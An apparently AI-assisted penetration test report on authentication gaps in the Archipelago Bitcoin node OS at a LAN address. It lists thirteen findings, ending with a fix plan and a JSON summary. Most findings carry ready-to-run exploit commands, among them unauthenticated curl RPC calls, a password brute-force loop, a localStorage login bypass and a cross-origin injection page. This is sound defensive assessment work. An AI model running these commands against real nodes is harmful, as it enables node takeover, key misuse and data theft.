Dorian 6623dbc4ab chore: add security pentest reports and remediation plan
Overnight pentest run produced recon, analysis, exploitation reports,
and a full security assessment. Plan.md updated with 22 prioritized
fix items for auth, SSRF, injection, XSS, and hardening.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-06 03:08:14 +00:00

21 KiB

Now I have a complete picture. Let me compile the full vulnerability report.


Authentication & Authorization Vulnerability Assessment

Target: http://192.168.1.228 (Archipelago Bitcoin Node OS)
Scope: Authentication, Authorization, and Session Management
Method: Source code review + limited live probing (backend was down during testing)


AUTH-001: Complete Absence of Server-Side Session Management

Type: Missing Authentication
Location: POST /rpc/v1 — all RPC methods
Source file: core/archipelago/src/api/rpc/mod.rs:71-140
Confidence: HIGH

The auth.login handler (core/archipelago/src/api/rpc/auth.rs:5-32) verifies the password against a bcrypt hash, then returns serde_json::Value::Nullno session token, no cookie, no JWT is created or returned. There is zero server-side session state.

The handle() method at mod.rs:71 receives the request, deserializes the JSON body, and dispatches directly to the method handler based on the method string. No middleware, no session check, no cookie validation occurs at any point in the request lifecycle.

Evidence:

  • auth.rs:31 returns Ok(serde_json::Value::Null) on successful login — no session created
  • handler.rs:34-75 routes requests with no middleware chain
  • server.rs:125-157 creates a raw hyper service_fn with no middleware wrapping
  • The core/startos/src/middleware/auth.rs contains a full session middleware (HasValidSession, cookie parsing, SHA-256 token hashing, rate limiting) but it is completely unused by the archipelago binary

Suggested exploit:

# Any endpoint callable without any auth token/cookie
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node.did","params":{}}'

AUTH-002: All 30+ Sensitive RPC Endpoints Callable Without Authentication

Type: Missing Authorization Checks on Sensitive Endpoints
Location: POST /rpc/v1 with various method values
Source file: core/archipelago/src/api/rpc/mod.rs:86-139
Confidence: HIGH

Every RPC method is callable by any network client without authentication. The full list of unprotected methods:

Category Methods Impact
Container control container-install, container-start, container-stop, container-remove Full container lifecycle control
Package management package.install, package.start, package.stop, package.restart, package.uninstall Install/run arbitrary Docker images
Cryptographic operations node.signChallenge, node.createBackup Sign arbitrary data with node private key, export encrypted identity
Identity exposure node.did, node.nostr-pubkey, node.tor-address Leak node identity, Nostr keys, Tor hidden service address
P2P operations node-add-peer, node-remove-peer, node-send-message, node-list-peers Manipulate peer list, send messages as node
Nostr publication node.nostr-publish Publish node identity to Nostr relays
Auth management auth.changePassword, auth.resetOnboarding Reset onboarding state
Bitcoin/Lightning bitcoin.getinfo, lnd.getinfo Access chain/channel data

Evidence: mod.rs:86-139 — flat match statement with zero auth gating.

Suggested exploit:

# Install and run any container image
curl -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"package.install","params":{"id":"malicious","dockerImage":"attacker/image:tag"}}'

# Sign arbitrary data with node's ed25519 private key
curl -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node.signChallenge","params":{"challenge":"arbitrary data to sign"}}'

AUTH-003: No Brute Force Protection on Login

Type: Missing Rate Limiting / Account Lockout
Location: POST /rpc/v1 with method: "auth.login"
Source file: core/archipelago/src/api/rpc/auth.rs:5-32
Confidence: HIGH

The login handler has no rate limiting, no account lockout, no progressive delays, and no CAPTCHA. The core/startos/src/middleware/auth.rs:240-256 implements rate limiting (3 attempts per 20 seconds) but this middleware is not connected to the archipelago backend.

Bcrypt hashing provides some natural slowdown (~100ms per attempt at DEFAULT_COST=12), allowing ~600 attempts/minute.

Evidence:

  • auth.rs:5-32 — straightforward password check with no rate limiting logic
  • No rate-limiting state anywhere in the archipelago codebase
  • No nginx rate limiting on /rpc/ in nginx-archipelago.conf

Suggested exploit:

# Unlimited login attempts with no lockout
for pw in $(cat /path/to/wordlist.txt); do
  curl -s -X POST http://192.168.1.228/rpc/v1 \
    -H 'Content-Type: application/json' \
    -d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$pw\"}}"
done

AUTH-004: Hardcoded Default Credentials (Dev Mode)

Type: Default/Test Credentials
Location: POST /rpc/v1 with method: "auth.login"
Source files:

  • core/archipelago/src/api/rpc/mod.rs:40DEV_DEFAULT_PASSWORD = "password123"
  • core/archipelago/src/main.rs:47-53 — auto-creates user with default password
  • core/archipelago/src/api/rpc/auth.rs:17-20 — accepts default password when user not setup
    Confidence: HIGH

When dev_mode=true in config:

  1. main.rs:49-50 auto-creates user.json with bcrypt hash of "password123"
  2. auth.rs:18 accepts "password123" even without user setup

The config defaults dev_mode: false (config.rs:197), but if the production server has ARCHIPELAGO_DEV_MODE=true in its environment or config, this backdoor is active. The CLAUDE.md confirms the dev server uses password123.

Evidence: The constant DEV_DEFAULT_PASSWORD is defined in two places (mod.rs:40, main.rs:28).

Suggested exploit:

curl -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"auth.login","params":{"password":"password123"}}'

AUTH-005: Frontend-Only Authentication Enforcement

Type: Client-Side Authentication Bypass
Location: Browser localStorage + Vue router guards
Source files:

  • neode-ui/src/stores/app.ts:12isAuthenticated based on localStorage
  • neode-ui/src/router/index.ts:157-214 — navigation guard
  • neode-ui/src/stores/app.ts:190-219 — session validation
    Confidence: HIGH

Authentication enforcement exists only in the Vue.js frontend:

  1. app.ts:12 — auth state is localStorage.getItem('neode-auth') === 'true'
  2. app.ts:196 — session validation calls server.echo to "verify" the session
  3. Since server.echo requires no authentication (it's just another unprotected RPC method), session validation always succeeds if the backend is reachable

This creates a circular trust problem: the frontend validates the session by calling an unprotected endpoint, which always succeeds, so localStorage['neode-auth'] = 'true' is sufficient to be "authenticated" forever.

Evidence:

  • Router guard at index.ts:183-193 — if localStorage says authenticated, user proceeds to protected routes, with session check (that always succeeds) running in background
  • app.ts:196server.echo always returns successfully regardless of auth state

Suggested exploit:

// In browser console at http://192.168.1.228/login
localStorage.setItem('neode-auth', 'true')
window.location.href = '/dashboard'
// Full dashboard access without password

AUTH-006: No-Op Logout Implementation

Type: Session Invalidation Failure
Location: POST /rpc/v1 with method: "auth.logout"
Source file: core/archipelago/src/api/rpc/auth.rs:34-36
Confidence: HIGH

pub(super) async fn handle_auth_logout(&self) -> Result<serde_json::Value> {
    Ok(serde_json::Value::Null)
}

The logout handler is a complete no-op. Since no session was ever created (AUTH-001), there is nothing to invalidate. The frontend logout (app.ts:55-70) clears localStorage and disconnects the WebSocket, but this is entirely client-side.

Evidence: Three lines of code, returns null immediately.

Suggested exploit: Not applicable — logout has no server-side effect because there is no server-side session.


AUTH-007: Unauthenticated WebSocket Access

Type: Missing Authentication on Data Stream
Location: GET /ws/db (WebSocket upgrade)
Source file: core/archipelago/src/api/handler.rs:42-44, 190-287
Confidence: HIGH

The WebSocket endpoint at /ws/db (handler.rs:42-43) accepts connections without any authentication. Upon connection, it immediately sends the full server state dump (handler.rs:216-223) including:

  • Node identity (pubkey, DID)
  • Tor hidden service address
  • All installed package states
  • Server configuration

Any client on the network receives all state updates in real-time.

Evidence: handler.rs:42-44 — WebSocket upgrade with no session/token check:

if method == Method::GET && path == "/ws/db" {
    return Self::handle_websocket(req, self.state_manager.clone()).await;
}

Suggested exploit:

const ws = new WebSocket('ws://192.168.1.228/ws/db')
ws.onmessage = (e) => console.log(JSON.parse(e.data))
// Receives full state dump immediately

AUTH-008: Unauthenticated P2P Message Injection

Type: Missing Authentication + Missing Input Validation (Spoofing)
Location: POST /archipelago/node-message
Source file: core/archipelago/src/api/handler.rs:125-145, core/archipelago/src/node_message.rs:26-38
Confidence: HIGH

The P2P message endpoint accepts arbitrary from_pubkey and message values without:

  1. Authentication of the sender
  2. Signature verification (the from_pubkey is self-claimed, not cryptographically verified)
  3. Any access control

Messages are stored in-memory (node_message.rs:28-33) and served to the UI. Spoofed messages are indistinguishable from legitimate ones.

Evidence: handler.rs:131-137 — deserializes and stores without verification:

if let (Some(from), Some(msg)) = (incoming.from_pubkey, incoming.message) {
    node_msg::store_received(&from, &msg).await;
}

Suggested exploit:

curl -X POST http://192.168.1.228/archipelago/node-message \
  -H 'Content-Type: application/json' \
  -d '{"from_pubkey":"spoofed_key_123","message":"Fake message from attacker"}'

AUTH-009: CORS Wildcard on Non-RPC Endpoints

Type: Permissive CORS Policy
Location: Multiple HTTP endpoints
Source file: core/archipelago/src/api/handler.rs:15, 108, 118, 142, 153, 173
Confidence: HIGH

CORS_ANY = "*" is applied to these endpoints:

  • /api/container/logs (line 108, 118)
  • /archipelago/node-message (line 142)
  • /electrs-status (line 153)
  • /proxy/lnd/* (line 173)

This enables drive-by attacks from any website. A malicious webpage could inject P2P messages, read container logs, read electrs sync status, and proxy requests to LND.

Note: The main /rpc/v1 endpoint does not set CORS headers (handler.rs:164-168), so browser-based cross-origin XHR to RPC is blocked. However, this only protects against browser-based attacks — direct curl/script access is unrestricted.

Evidence: const CORS_ANY: &str = "*"; at handler.rs:15.

Suggested exploit:

<!-- Attacker's webpage, visited by someone on the same network -->
<script>
// Inject spoofed P2P messages via CORS wildcard
fetch('http://192.168.1.228/archipelago/node-message', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({from_pubkey: 'attacker', message: 'phishing message'})
})
</script>

AUTH-010: Weak Initial Password Policy

Type: Password Policy Enforcement Gap
Location: Frontend setup flow
Source files:

  • neode-ui/src/views/Login.vue:212 — 8-char minimum for initial setup
  • core/archipelago/src/auth.rs:172-190 — 12-char + complexity for password change
    Confidence: MEDIUM

The initial password setup (Login.vue line 212) requires only 8 characters with no complexity requirements. The password change flow (auth.rs:172-190) requires 12+ characters with uppercase, lowercase, digit, and special character. This means the initial password can be significantly weaker than what's required for subsequent changes.

Note: The auth.setup method doesn't actually exist in the backend RPC handler (not in mod.rs:86-139), so the setup flow may only work via the mock backend in dev mode. However, auth.rs:49 (setup_user) has no password strength validation either.

Evidence: Login.vue:212:

if (password.value.length < 8) { ... }

vs auth.rs:174:

if password.len() < 12 { anyhow::bail!("Password must be at least 12 characters"); }

AUTH-011: Unauthenticated LND Proxy (SSRF Vector)

Type: Missing Authorization + Server-Side Request Forgery
Location: GET /proxy/lnd/*
Source file: core/archipelago/src/api/handler.rs:158-188
Confidence: HIGH

The LND proxy at /proxy/lnd/ forwards requests to http://127.0.0.1:8080 without any authentication. The path suffix is directly concatenated into the URL (handler.rs:159):

let suffix = path.strip_prefix("/proxy/lnd").unwrap_or("/");
let url = format!("http://127.0.0.1:8080{}", suffix);

This exposes internal LND REST API endpoints to unauthenticated external access, and the path construction could potentially be abused for limited SSRF (though constrained to port 8080).

Suggested exploit:

# Access LND REST API without authentication
curl http://192.168.1.228/proxy/lnd/v1/getinfo
curl http://192.168.1.228/proxy/lnd/v1/balance/channels

AUTH-012: Unauthenticated Container Log Access

Type: Missing Authorization on Sensitive Data
Location: GET /api/container/logs?app_id=*
Source file: core/archipelago/src/api/handler.rs:64-66, 77-123
Confidence: HIGH

Container logs are accessible without authentication via the HTTP GET endpoint. Logs can contain sensitive information (configuration, errors, internal IPs, credentials in error messages).

Suggested exploit:

curl "http://192.168.1.228/api/container/logs?app_id=lnd&lines=500"
curl "http://192.168.1.228/api/container/logs?app_id=bitcoin&lines=500"

AUTH-013: Disconnected Authentication Infrastructure

Type: Architectural Authentication Gap
Location: core/startos/src/middleware/auth.rs vs core/archipelago/
Source files:

  • core/startos/src/middleware/auth.rs:1-285 — complete auth middleware (unused)
  • core/startos/src/middleware/mod.rs — middleware module (unused)
    Confidence: HIGH (informational)

A complete authentication middleware exists in the startos crate including:

  • Session token validation via SHA-256 hashed cookies (auth.rs:65-92)
  • Session creation with database persistence (auth.rs:44-57)
  • Rate limiting: 3 login attempts per 20 seconds (auth.rs:240-256)
  • HasValidSession guard pattern (auth.rs:62)

The archipelago backend binary does not import or use any of this middleware. The RPC handler was built from scratch without plugging into the existing auth infrastructure.


Summary

ID Type Endpoint Confidence Severity
AUTH-001 No session management /rpc/v1 (auth.login) HIGH CRITICAL
AUTH-002 No auth on 30+ endpoints /rpc/v1 (all methods) HIGH CRITICAL
AUTH-003 No brute force protection /rpc/v1 (auth.login) HIGH HIGH
AUTH-004 Default credentials /rpc/v1 (auth.login) HIGH HIGH
AUTH-005 Client-side auth only Frontend router/localStorage HIGH CRITICAL
AUTH-006 No-op logout /rpc/v1 (auth.logout) HIGH MEDIUM
AUTH-007 Unauth WebSocket /ws/db HIGH HIGH
AUTH-008 Unauth message injection /archipelago/node-message HIGH HIGH
AUTH-009 CORS wildcard Multiple non-RPC endpoints HIGH HIGH
AUTH-010 Weak initial password Frontend setup flow MEDIUM MEDIUM
AUTH-011 Unauth LND proxy /proxy/lnd/* HIGH HIGH
AUTH-012 Unauth container logs /api/container/logs HIGH MEDIUM
AUTH-013 Disconnected auth infra Architectural (informational) HIGH INFO

The root cause is AUTH-001: the login flow verifies passwords but creates no session, and no middleware exists to check sessions on subsequent requests. All other findings flow from this architectural gap. The fix is to wire session creation into auth.login, add session cookies to responses, and add middleware before the RPC dispatch at handler.rs:55 that validates session cookies on all non-public methods.

{
  "category": "auth",
  "findings": [
    {
      "id": "AUTH-001",
      "type": "missing_session_management",
      "endpoint": "/rpc/v1",
      "parameter": "method=auth.login",
      "confidence": "high",
      "payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}' — observe null response with no Set-Cookie header"
    },
    {
      "id": "AUTH-002",
      "type": "missing_authorization",
      "endpoint": "/rpc/v1",
      "parameter": "method=package.install|node.signChallenge|container-install|node.createBackup|...",
      "confidence": "high",
      "payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"node.did\",\"params\":{}}' — returns node identity without auth"
    },
    {
      "id": "AUTH-003",
      "type": "brute_force_no_protection",
      "endpoint": "/rpc/v1",
      "parameter": "method=auth.login, password",
      "confidence": "high",
      "payload_suggestion": "Automated password spray against auth.login with no lockout or rate limit — bcrypt provides ~100ms delay per attempt"
    },
    {
      "id": "AUTH-004",
      "type": "default_credentials",
      "endpoint": "/rpc/v1",
      "parameter": "method=auth.login, password=password123",
      "confidence": "high",
      "payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'"
    },
    {
      "id": "AUTH-005",
      "type": "client_side_auth_bypass",
      "endpoint": "/dashboard",
      "parameter": "localStorage['neode-auth']",
      "confidence": "high",
      "payload_suggestion": "In browser console: localStorage.setItem('neode-auth','true'); location.href='/dashboard' — full UI access without login"
    },
    {
      "id": "AUTH-006",
      "type": "session_invalidation_failure",
      "endpoint": "/rpc/v1",
      "parameter": "method=auth.logout",
      "confidence": "high",
      "payload_suggestion": "Logout is a no-op returning null — no server-side session to invalidate"
    },
    {
      "id": "AUTH-007",
      "type": "unauthenticated_websocket",
      "endpoint": "/ws/db",
      "parameter": "N/A",
      "confidence": "high",
      "payload_suggestion": "wscat -c ws://192.168.1.228/ws/db — receives full server state dump including node identity, Tor address, and all package states"
    },
    {
      "id": "AUTH-008",
      "type": "message_spoofing",
      "endpoint": "/archipelago/node-message",
      "parameter": "from_pubkey, message",
      "confidence": "high",
      "payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"spoofed\",\"message\":\"injected\"}'"
    },
    {
      "id": "AUTH-009",
      "type": "cors_wildcard",
      "endpoint": "/archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*",
      "parameter": "Access-Control-Allow-Origin: *",
      "confidence": "high",
      "payload_suggestion": "Drive-by attack from malicious webpage: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', ...}) — succeeds cross-origin"
    },
    {
      "id": "AUTH-010",
      "type": "weak_password_policy",
      "endpoint": "/rpc/v1",
      "parameter": "method=auth.setup (frontend only), password",
      "confidence": "medium",
      "payload_suggestion": "Initial setup accepts 8-char passwords without complexity; change requires 12+ with complexity"
    },
    {
      "id": "AUTH-011",
      "type": "unauthenticated_ssrf_proxy",
      "endpoint": "/proxy/lnd/*",
      "parameter": "path suffix",
      "confidence": "high",
      "payload_suggestion": "curl http://192.168.1.228/proxy/lnd/v1/getinfo — accesses LND REST API without authentication"
    },
    {
      "id": "AUTH-012",
      "type": "unauthenticated_data_access",
      "endpoint": "/api/container/logs",
      "parameter": "app_id, lines",
      "confidence": "high",
      "payload_suggestion": "curl 'http://192.168.1.228/api/container/logs?app_id=lnd&lines=500' — reads container logs without auth"
    },
    {
      "id": "AUTH-013",
      "type": "disconnected_auth_infrastructure",
      "endpoint": "N/A (architectural)",
      "parameter": "core/startos/src/middleware/auth.rs not wired to core/archipelago/",
      "confidence": "high",
      "payload_suggestion": "Informational: auth middleware exists in startos crate but is not imported by the archipelago binary"
    }
  ]
}